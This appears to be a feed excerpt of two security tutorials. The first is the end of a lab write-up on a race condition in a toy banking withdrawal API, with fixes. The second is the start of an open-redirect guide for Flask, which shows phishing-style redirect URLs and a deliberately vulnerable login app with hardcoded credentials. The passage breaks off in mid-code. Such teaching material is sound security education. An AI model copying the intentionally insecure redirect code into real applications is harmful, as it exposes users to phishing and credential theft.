&lt;span class="n"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;add_middleware&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;CORSMiddleware&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;allow_origins&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;*&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;allow_methods&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;*&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;allow_headers&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;*&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;

&lt;span class="n"&gt;wallet&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;balance&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1000&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;owner&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Alex Johnson&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;account&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;****4291&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;transactions&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[]}&lt;/span&gt;

&lt;span class="c1"&gt;# ... (home, balance, deposit, reset unchanged)
&lt;/span&gt;
&lt;span class="nd"&gt;@app.post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/withdraw&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;withdraw&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;amount&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;new_balance&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;wallet&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;balance&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;amount&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;new_balance&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;status&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;failed&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;message&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Insufficient funds&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;balance&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;wallet&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;balance&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]}&lt;/span&gt;
    &lt;span class="n"&gt;wallet&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;balance&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;new_balance&lt;/span&gt;  &lt;span class="c1"&gt;# Single write
&lt;/span&gt;    &lt;span class="n"&gt;tx&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;id&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;wallet&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;transactions&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;type&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;debit&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;amount&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;amount&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;status&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;success&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;timestamp&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;strftime&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;%H:%M:%S&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)}&lt;/span&gt;
    &lt;span class="n"&gt;wallet&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;transactions&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tx&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;status&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;success&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;withdrawn&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;amount&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;new_balance&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;wallet&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;balance&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;transaction_id&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;tx&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;id&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Production gold: Wrap in DB transactions.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;BEGIN&lt;/span&gt; &lt;span class="n"&gt;TRANSACTION&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;UPDATE&lt;/span&gt; &lt;span class="n"&gt;accounts&lt;/span&gt; &lt;span class="k"&gt;SET&lt;/span&gt; &lt;span class="n"&gt;balance&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;balance&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;300&lt;/span&gt; &lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="k"&gt;AND&lt;/span&gt; &lt;span class="n"&gt;balance&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="mi"&gt;300&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="c1"&gt;-- If rows_affected == 0, rollback (insufficient funds)&lt;/span&gt;
&lt;span class="k"&gt;COMMIT&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Lab Screenshot
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2tpzf9g12saphnt346gi.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2tpzf9g12saphnt346gi.png" alt=" " width="800" height="373"&gt;&lt;/a&gt;&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwdst2qi3u1xvhc6kk4o4.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwdst2qi3u1xvhc6kk4o4.png" alt=" " width="800" height="242"&gt;&lt;/a&gt;&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgl7e6lctzr75omrpdrb4.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgl7e6lctzr75omrpdrb4.png" alt=" " width="800" height="276"&gt;&lt;/a&gt;&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fyw5uz413fhmmvwhe1wia.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fyw5uz413fhmmvwhe1wia.png" alt=" " width="800" height="508"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Real-World Echoes &amp;amp; Hunt Tips
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Incidents&lt;/strong&gt;: 2010s flash crashes from racey trades; 2021 Poly Network $600M crypto drain (races in bridges).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Bounties&lt;/strong&gt;: HackerOne pays big for TOCTOU in payments (e.g., $20K on Stripe clones).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Pro Tip&lt;/strong&gt;: Assume concurrency. Test with chaos engineering (e.g., Gremlin for delays).&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Epilogue: Lessons from the Shadows
&lt;/h2&gt;

&lt;p&gt;NovaPay's "heist" reminds us: Security is timing. Validate &lt;em&gt;and&lt;/em&gt; act atomically, or adversaries will thread their way in. Locks for simplicity, atomics for speed, transactions for scale. Design for the storm — concurrent users are the norm.&lt;/p&gt;

&lt;p&gt;Reset your lab, swap in a fix, and re-attack. Does it hold? Tweak the sleep to 5s for drama. For extra polish:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Visual Diagram&lt;/strong&gt;: Mermaid timeline (code below — paste into mermaid.live).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Burp Demo&lt;/strong&gt;: Use Turbo Intruder with the exploit.py logic.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Dockerize&lt;/strong&gt;: Want a one-command CTF? Reply — I'll script it.
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;sequenceDiagram
    participant A as Attacker Threads
    participant S as Server (Shared Wallet)
    Note over A,S: t=0: All check balance=1000
    A-&amp;gt;&amp;gt;S: if 1000 &amp;gt;= 300? (x5)
    S--&amp;gt;&amp;gt;A: Yes (x5)
    Note over A,S: t=2s: Sequential deducts
    A-&amp;gt;&amp;gt;S: balance -=300 (Thread1)
    S--&amp;gt;&amp;gt;A: 700
    A-&amp;gt;&amp;gt;S: balance -=300 (Thread2)
    S--&amp;gt;&amp;gt;A: 400
    ... (continues to negative)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This lab demonstrated a TOCTOU race condition in a banking withdrawal system.&lt;/p&gt;

&lt;p&gt;Multiple concurrent requests exploited a delay between balance verification and deduction.&lt;/p&gt;

&lt;p&gt;The attack allowed withdrawing more money than available.&lt;/p&gt;

&lt;p&gt;Mitigation requires atomic operations or synchronization mechanisms.&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>webdev</category>
      <category>programming</category>
      <category>python</category>
    </item>
    <item>
      <title>Day 20 — A Deep Dive into Open Redirect Vulnerabilities in Flask – From Exploitation to Ironclad Fixes</title>
      <dc:creator>Hafiz Shamnad</dc:creator>
      <pubDate>Sun, 08 Mar 2026 05:05:23 +0000</pubDate>
      <link>https://forem.com/hafiz_shamnad/day-21-a-deep-dive-into-open-redirect-vulnerabilities-in-flask-from-exploitation-to-ironclad-2905</link>
      <guid>https://forem.com/hafiz_shamnad/day-21-a-deep-dive-into-open-redirect-vulnerabilities-in-flask-from-exploitation-to-ironclad-2905</guid>
      <description>&lt;p&gt;In the world of web security, vulnerabilities often lurk in the seemingly innocuous corners of your code—like a simple redirect that trusts user input a little too much. Open Redirects are one such "simple" issue, but their impact can ripple into phishing epidemics, credential theft, and OAuth hijackings. In this detailed writeup, we'll dissect the vulnerability step by step: what it is, why it happens in Flask apps, how attackers weaponize it, and—most importantly—how to fortify your code against it. I'll include expanded code examples, real-world attack vectors, and even a quick lab setup to test it yourself.&lt;/p&gt;

&lt;p&gt;If you're a developer dipping into security or a pentester honing your skills, this is your hands-on guide. Let's build, break, and bulletproof a Flask app together.&lt;/p&gt;

&lt;h2&gt;
  
  
  What is an Open Redirect Vulnerability?
&lt;/h2&gt;

&lt;p&gt;At its core, an &lt;strong&gt;Open Redirect&lt;/strong&gt; (also known as an unvalidated redirect) happens when a web application allows user-supplied input to dictate where a user gets redirected &lt;em&gt;without proper validation&lt;/em&gt;. This input is typically passed via query parameters (e.g., &lt;code&gt;?next=...&lt;/code&gt;), headers, or form data.&lt;/p&gt;

&lt;h3&gt;
  
  
  Why It's Dangerous
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Phishing Superpower&lt;/strong&gt;: Attackers craft links that masquerade as trusted (e.g., &lt;code&gt;https://yourbank.com/login?next=evil-phish-site.com&lt;/code&gt;). Victims see the legit domain in their address bar, log in, and boom—redirected to a fake site harvesting credentials.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Chained Attacks&lt;/strong&gt;: It's a gateway drug for bigger exploits, like stealing OAuth tokens (e.g., tricking a user into authorizing a malicious app) or bypassing security filters (e.g., redirecting past login walls).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Low Barrier to Entry&lt;/strong&gt;: No fancy exploits needed—just social engineering and a URL shortener.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;According to OWASP, Open Redirects rank in the Top 10 for good reason: they're easy to find (via automated scanners like Burp Suite) and exploit, but often overlooked in code reviews.&lt;/p&gt;

&lt;h3&gt;
  
  
  Common Triggers in Web Apps
&lt;/h3&gt;

&lt;p&gt;Redirects pop up everywhere: login "next" pages, error handlers, email verification links. In Flask, the &lt;code&gt;redirect()&lt;/code&gt; function from &lt;code&gt;flask&lt;/code&gt; is the usual suspect—it's convenient but naive if fed raw user input.&lt;/p&gt;

&lt;h2&gt;
  
  
  Building a Vulnerable Flask App: The Setup
&lt;/h2&gt;

&lt;p&gt;Let's start by creating a minimal vulnerable app. I'll assume you're running Python 3.8+ with Flask installed (&lt;code&gt;pip install flask&lt;/code&gt;). Save this as &lt;code&gt;vulnerable_app.py&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;flask&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Flask&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;redirect&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;url_for&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;render_template_string&lt;/span&gt;

&lt;span class="n"&gt;app&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Flask&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;__name__&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# Simple in-memory "users" for demo purposes
&lt;/span&gt;&lt;span class="n"&gt;USERS&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;admin&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;password123&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nd"&gt;@app.route&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;index&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Welcome to the Vulnerable App! &amp;lt;a href=&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;/login?next=/dashboard&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;&amp;gt;Login&amp;lt;/a&amp;gt;&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;

&lt;span class="nd"&gt;@app.route&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/login&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;methods&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;GET&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;POST&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;login&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;method&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;GET&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="c1"&gt;# Render a basic login form
&lt;/span&gt;        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;render_template_string&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;
        &amp;lt;form method=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;POST&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;&amp;gt;
            Username: &amp;lt;input type=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;text&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt; name=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;username&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;&amp;gt;&amp;lt;br&amp;gt;
            Password: &amp;lt;input type=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;password&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt; name=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;password&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;&amp;gt;&amp;lt;br&amp;gt;
            &amp;lt;input type=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;submit&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt; value=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Login&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;&amp;gt;
        &amp;lt;/form&amp;gt;
        &lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="n"&gt;username&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;form&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;username&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;password&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;form&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;password&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="c1"&gt;# Dummy auth: always succeed for demo (NEVER DO THIS IN PROD!)
&lt;/span&gt;    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;username&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;USERS&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;USERS&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;username&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;
        &lt;span class="n"&gt;next_url&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;next&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;# Vulnerable: Trusts user input blindly
